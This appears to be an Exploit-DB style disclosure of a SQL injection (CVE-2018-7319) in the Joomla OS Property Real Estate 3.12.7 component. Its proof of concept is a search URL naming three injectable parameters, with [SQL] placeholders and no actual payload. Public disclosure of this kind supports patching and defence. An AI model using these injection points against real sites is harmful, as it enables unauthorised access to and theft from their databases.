Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection

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# Exploit Title: Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection
# Dork: N/A
# Date: 22.02.2018
# Vendor Homepage: https://www.joomdonation.com/
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property/
# Version: 3.12.7
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-7319
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# Exploit Author: Ihsan Sencan
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# POC: 
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# 1)
# http://localhost/[PATH]/os-property-layouts/search-tools/advanced-search?&option=com_osproperty&task=property_advsearch
# &cooling_system1=[SQL]
# &heating_system1=[SQL]
# &laundry=[SQL]
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